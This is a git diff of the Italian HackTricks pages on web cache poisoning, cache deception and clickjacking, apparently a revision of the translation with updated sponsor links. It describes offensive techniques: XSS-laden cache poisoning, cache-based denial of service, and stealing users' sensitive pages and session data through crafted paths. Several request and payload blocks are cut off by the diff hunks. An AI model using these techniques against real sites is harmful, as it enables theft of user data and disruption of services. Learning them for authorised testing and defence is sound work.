+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## La differenza
-> **Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?**
+> **Qual è la differenza tra il web cache poisoning e il web cache deception?**
>
-> * Nel **avvelenamento della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
-> * Nell'**inganno della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.
+> * Nel **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
+> * Nel **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.
-## Avvelenamento della Cache
+## Cache Poisoning
-L'avvelenamento della cache mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
+Il cache poisoning mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
-L'esecuzione di un attacco di avvelenamento della cache comporta diversi passaggi:
+L'esecuzione di un attacco di cache poisoning coinvolge diversi passaggi:
1. **Identificazione degli Input Senza Chiave**: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
-2. **Sfruttamento degli Input Senza Chiave**: Dopo aver identificato gli input senza chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo vantaggioso per l'attaccante.
-3. **Garantire che la Risposta Avvelenata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.
+2. **Sfruttamento degli Input Senza Chiave**: Dopo aver identificato gli input senza chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo che benefici l'attaccante.
+3. **Garantire che la Risposta Avvelenata sia Memorizzata nella Cache**: Il passo finale è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.
### Scoperta: Controllare gli header HTTP
-Di solito, quando una risposta è **memorizzata nella cache** ci sarà un **header che lo indica**, puoi controllare a quali header prestare attenzione in questo post: [**Header della Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Di solito, quando una risposta è **memorizzata nella cache** ci sarà un **header che lo indica**, puoi controllare a quali header prestare attenzione in questo post: [**Header di cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Scoperta: Codici di errore di caching
-Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, che dovrebbe ricevere un **codice di stato 400**. Quindi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
+Se pensi che la risposta sia memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, che dovrebbe ricevere un **codice di stato 400**. Quindi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).
Puoi trovare più opzioni in:
@@ -63,24 +63,24 @@ Potresti utilizzare [**Param Miner**](https://portswigger.net/bappstore/17d2949a
```
### Elicitare una risposta dannosa dal server back-end
-Con il parametro/header identificato, controlla come viene **sanificato** e **dove** viene **riflesso** o influisce sulla risposta dall'header. Puoi comunque abusarne (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
+Con il parametro/header identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'header. Puoi sfruttarlo in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
### Ottenere la risposta memorizzata nella cache
-Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**header** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.\
+Una volta che hai **identificato** la **pagina** che può essere sfruttata, quale **parametro**/**header** utilizzare e **come** sfruttarlo, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.\
L'header **`X-Cache`** nella risposta potrebbe essere molto utile in quanto potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache.\
Anche l'header **`Cache-Control`** è interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà nuovamente memorizzata nella cache: `Cache-Control: public, max-age=1800`\
-Un altro header interessante è **`Vary`**. Questo header viene spesso utilizzato per **indicare ulteriori header** che vengono considerati **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'`User-Agent` della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare `User-Agent`.\
+Un altro header interessante è **`Vary`**. Questo header viene spesso utilizzato per **indicare header aggiuntivi** che vengono considerati **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'`User-Agent` della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare `User-Agent`.\
Un altro header correlato alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
-Quando si memorizza una richiesta, fai **attenzione agli header che utilizzi** perché alcuni di essi potrebbero essere **utilizzati in modo inaspettato** come **chiave** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre un Avvelenamento della Cache con **browser diversi** per verificare se funziona.
+Quando si memorizza una richiesta, **presta attenzione agli header che utilizzi** perché alcuni di essi potrebbero essere **utilizzati in modo inaspettato** come **chiave** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre un Avvelenamento della Cache con **browser diversi** per verificare se funziona.
## Esempi di Sfruttamento
### Esempio più semplice
Un header come `X-Forwarded-For` viene riflesso nella risposta non sanificata.\
-Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà vittima di XSS:
+Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà soggetto a un attacco XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@@ -106,11 +106,11 @@ Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste
### Avvelenamento della cache con attraversamento del percorso per rubare la chiave API
-[**Questa spiegazione**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) illustra come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché tutto ciò che corrisponde a `/share/*` verrà memorizzato nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
+[**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché tutto ciò che corrisponde a `/share/*` verrà memorizzato nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
### Utilizzo di intestazioni multiple per sfruttare le vulnerabilità di avvelenamento della cache web
-A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** inoltra tutte le **richieste HTTP** a **HTTPS** e utilizza l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina viene indirizzata dal reindirizzamento.
+A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** a HTTPS e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina viene puntata dal reindirizzamento.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -137,13 +137,13 @@ Content-Length: 22
report=innocent-victim
```
-### Camuffamento dei Parametri
+### Inganno dei parametri
-Per esempio è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
+Ad esempio è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
-Laboratorio Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Laboratorio di Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
-### Sfruttare l'Avvelenamento della Cache HTTP abusando dello Smuggling delle Richieste HTTP
+### Sfruttare l'avvelenamento della cache HTTP abusando dello Smuggling delle Richieste HTTP
Scopri qui come eseguire attacchi di [Avvelenamento della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
@@ -158,10 +158,10 @@ Esempio di utilizzo: `wcvs -u example.com`
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti della community più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@@ -169,7 +169,7 @@ Ottieni l'accesso oggi:
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS inoltrava il frammento all'interno dell'URL senza eliminarlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query.
+ATS inoltrava il frammento all'interno dell'URL senza rimuoverlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query.
### GitHub CP-DoS
@@ -177,7 +177,7 @@ L'invio di un valore errato nell'intestazione content-type attivava una risposta
### GitLab + GCP CP-DoS
-GitLab utilizza i bucket GCP per memorizzare contenuti statici. I **bucket GCP** supportano l'intestazione `x-http-method-override`. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo `PURGE`.
+GitLab utilizza i bucket GCP per memorizzare contenuti statici. I **bucket GCP** supportano l'**intestazione `x-http-method-override`**. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo `PURGE`.
### Rack Middleware (Ruby on Rails)
@@ -185,11 +185,11 @@ Nelle applicazioni Ruby on Rails, spesso viene utilizzato il middleware Rack. Lo
### 403 e Bucket di Archiviazione
-Cloudflare in passato memorizzava le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata. Anche se Cloudflare ha smesso di memorizzare le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
+Cloudflare in passato memorizzava le risposte 403 in cache. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata in cache. Anche se Cloudflare ha smesso di memorizzare in cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
### Iniezione di Parametri Chiave
-Le cache includono spesso specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione codificata in URL del parametro (ad esempio, `siz%65`) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro `size` corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro `size` portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache.
+Le cache includono spesso specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (ad esempio, `siz%65`) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro `size` corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro URL-encoded. L'URL-encoding del secondo parametro `size` portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache.
### Regole User Agent
@@ -197,9 +197,9 @@ Alcuni sviluppatori bloccano le richieste con user-agent corrispondenti a strume
### Campi Intestazione Illegali
-Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo specificato di **tchar** dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra le intestazioni con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione `cache-control` non sia presente. È stato identificato uno schema sfruttabile in cui l'invio di un'intestazione con un carattere non valido, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
+Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra gli header con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione `cache-control` non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un'intestazione con un carattere non valido, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
-### Trovare nuove intestazioni
+### Trovare nuovi header
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
@@ -207,7 +207,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
L'obiettivo dell'Inganno della Cache è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
-Innanzitutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono di solito **configurate** per essere **salvate** nella **cache**. Pertanto, se si accede a `www.example.com/profile.php/nonexistent.js` la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Tuttavia, se l'**applicazione** sta **restituendo** i **contenuti sensibili** dell'utente memorizzati in _www.example.com/profile.php_, è possibile **rubare** quei contenuti da altri utenti.
+Innanzitutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono di solito **configurate** per essere **salvate** nella **cache**. Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js` la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **reinviando** con i **contenuti sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
Altre cose da testare:
@@ -216,13 +216,13 @@ Altre cose da testare:
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
-* _Usare estensioni meno conosciute come_ `.avif`
+* _Utilizzare estensioni meno conosciute come_ `.avif`
Un altro esempio molto chiaro si trova in questo articolo: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Nell'esempio, si spiega che se si carica una pagina inesistente come _http://www.example.com/home.php/non-existent.css_ il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
Quindi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso in precedenza.
-Nota che il **proxy della cache** dovrebbe essere **configurato** per **memorizzare** i file **in base** all'**estensione** del file (_.css_) e non in base al tipo di contenuto. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un tipo di contenuto `text/html` invece di un tipo mime `text/css` (che è quello atteso per un file _.css_).
+Nota che il **proxy della cache** dovrebbe essere **configurato** per **memorizzare** i file **in base** all'**estensione** del file (_.css_) e non in base al tipo di contenuto. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo mime `text/css` (che è quello atteso per un file _.css_).
Scopri qui come eseguire [attacchi di Inganno della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Strumenti Automatici
@@ -241,10 +241,10 @@ Scopri qui come eseguire [attacchi di Inganno della Cache sfruttando lo Smugglin
\
-Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@@ -252,10 +252,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md
index 69abc6233..0c66fd7d6 100644
--- a/pentesting-web/clickjacking.md
+++ b/pentesting-web/clickjacking.md
@@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## Cos'è il Clickjacking
@@ -32,7 +32,7 @@ A volte è possibile **riempire il valore dei campi di un modulo utilizzando i p
### Compilare il modulo con Drag\&Drop
-Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
+Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload di base
```markup
@@ -54,7 +54,7 @@ z-index: 1;
Click me
```
-### Payload Multistep
+### Payload a più passaggi
```markup